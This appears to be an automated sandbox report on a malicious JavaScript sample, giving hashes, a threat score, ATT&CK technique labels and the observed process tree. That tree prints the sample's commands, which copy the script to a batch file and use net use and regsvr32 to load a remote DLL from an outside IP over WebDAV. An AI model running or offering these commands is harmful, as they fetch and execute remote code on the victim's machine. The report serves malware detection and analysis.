1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 17:51

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General

Target

2347325213288178791.js
Size

5KB
MD5

7b79ae18089412cd5788f57497135d0d
SHA1

d992f7bb6d4b60c02ac4ab2d93abbd1965941dae
SHA256

1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339
SHA512

e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743
SSDEEP

48:Q3esJYM28VzZpav5VptCnHoxku43+qjJJdFd4xC40BMC3zI9jXodpTG89fdidTdT:QOrAVBHMkt7BEO98trGDmkMF

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1200	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2560	2768	wscript.exe	31
PID 2768 wrote to memory of 2560	2768	wscript.exe	31
PID 2768 wrote to memory of 2560	2768	wscript.exe	31
PID 2560 wrote to memory of 2276	2560	cmd.exe	33
PID 2560 wrote to memory of 2276	2560	cmd.exe	33
PID 2560 wrote to memory of 2276	2560	cmd.exe	33
PID 2560 wrote to memory of 1200	2560	cmd.exe	34
PID 2560 wrote to memory of 1200	2560	cmd.exe	34
PID 2560 wrote to memory of 1200	2560	cmd.exe	34
PID 2560 wrote to memory of 1200	2560	cmd.exe	34
PID 2560 wrote to memory of 1200	2560	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js" "C:\Users\Admin\\vrndqv.bat" && "C:\Users\Admin\\vrndqv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2276
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\507.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\vrndqv.bat

Filesize
5KB

MD5
7b79ae18089412cd5788f57497135d0d

SHA1
d992f7bb6d4b60c02ac4ab2d93abbd1965941dae

SHA256
1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

SHA512
e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743

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